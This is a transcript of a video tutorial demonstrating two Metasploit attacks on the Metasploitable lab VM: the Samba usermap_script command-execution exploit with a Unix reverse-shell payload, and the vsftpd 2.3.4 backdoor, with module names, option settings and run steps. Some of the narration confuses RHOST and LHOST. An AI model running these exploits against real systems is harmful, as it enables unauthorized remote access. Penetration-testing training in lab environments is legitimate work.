Hello everybody
and welcome back.
And in this tutorial right here I will show you how you can perform two different attacks on the
Metasploitable.
So just follow my steps.
If you have Metasploitable up and running, you should be able to exploit it with these two attacks.
So the first one that we will do is an attack on Samba.
Now I believe that it has the same vulnerability as on the OWASP virtual machine,
but I could be wrong. So let me just first of all zoom this in, I will zoom it in twice, and what I will do
is I will run my Metasploit framework console.
After that we will search for some of the Samba exploits and we will see how we can exploit the Metasploitable
virtual machine.
So, let's wait for this to open...
and OK. So we are good to go. Now
right now what we want to do,
let's say my OWASP is my Metasploitable.
So you run a scan on it,
it will finish in a few seconds, and you find out there are open ports. So the open ports for the Samba
I believe is something like 445, or 139, or something like that.
And then after you find out which version it is running, and on which port is it running, you can
search for the exploit that will suit you. So we can see right here that it is running Samba 3.X
Well, basically, 3.X which is basically any version from 3 to 4,
and on the 445 port.
Also, running the same version.
So what we want to do is basically just click here, type here search samba, and it will list us
all of the available exploits for this software.
So let me just zoom this out so we can see it a little bit better, and we are not going to use
auxiliary anymore. What we will use is the exploit. What we want to use is this one at the moment,
so exploit/multi/samba/usermap_script. It came out in 2007, it's rated as excellent,
and it says right here, Samba "username map script" Command Execution.
So, for example, you could also check out some of the other ones, but let's say the upper one is only working
for the versions from 2.2.2 to 2.2.6.
So it wouldn't work for our own version. So let's use this one. And they repeat that you need to you to
have the Metasploitable open for this to work.
So now that we selected the exploit, let us show our available options right here.
You can see that the available options are RHOSTS and RPORT.
Now RPORT is already set as 139 which is correct in my case.
Now it can also be 445.
If you're running that on both ports you can actually check both of them,
one after another. And what you want to set is set, and then RHOSTS, and then the IP address of
your Metasploitable. So I will use the OWASP in my case, it doesn't really matter.
After that what you want to do is actually select the payload that you will use in order to exploit
this machine.
Now the payload, you can check out your available payload with the show payload option that we covered in
the previous videos. It will print out all of the payloads that you can use for this attack.
Now the one that I found working on Metasploitable would be the cmd/unix/reverse, which is this
one right here. So you could just copy that payload right here.
The ranking,
they all rank as normal,
and this one is Unix command shell, double reverse TCP.
So what we want to do is set payload, and then paste the payload that we're going to use.
Once you select that you want to show options once again.
And you will see that the only thing we need to specify in order to get to work,
we need to specify the LHOST.
So LHOST is our Kali Linux machine.
So just type here your IP address, which in my case is .1.7 I believe.
So set RHOST 192.168.1.7, and all you have to do after this is basically
just type run. This will run on your Metasploitable and it should give you a reverse shell in return.
Now since I'm scanning on the OWASP this will not work for me. As it says right here,
exploit completed but no session was created, which I pretty much think it means that this virtual machine,
which is the OWASP, isn't vulnerable to this attack.
But this one should work on your Metasploitable. What you will get, is basically it won't prompt you for anything,
but it will basically look like it came out.
But once you type ls, it will list all of the files on the Metasploitable that
are located in the directory.
So, that is one of the attacks that you want to use against the Metasploitable.
The other attack is on the FTP port which is Port 21.
It is very simple to exploit.
You just need to set RHOST and just click exploit. It is on the,
I believe that on Metasploitable over port FTP, which is Port 21,
it is running a version,
pardon me,
VSFTPD234,
or something like that, which is basically vulnerable to this attack.
So what we want to do, first of all, you can nmap the Metasploitable, if you want to, and see the
RPORT 21 yourself. And after that you use exploit/unix/ftp/vsftpd_234_backdoor.
So let me just close this so you can see better.
Click here enter and then show your available options.
So show options will show you that the only thing to specify is RHOSTS.
So you specify the RHOSTS 192.168.1.2, which is basically the IP
address of your Metasploitable, and all you need to do is click run right here. Now
I won't be running this since I don't have Metasploitable running,
and on OWASP this version of service doesn't exist.
Basically, port 21 isn't even opened on OWASP. So those are two attacks that you can try on
Metasploitable if you want to.
You will not encounter it anywhere else.
This is just some of the older versions that basically got patched long ago.
So, these are not some of the real life attacks that you will encounter, but you never know. In the next
videos we will try exporting the Windows machines.
So that will be some of the real life attacks that you can actually perform with payloads, with the Meterpreter
shell opened.
So we will do that in the next tutorial, and I hope I see you there. Bye!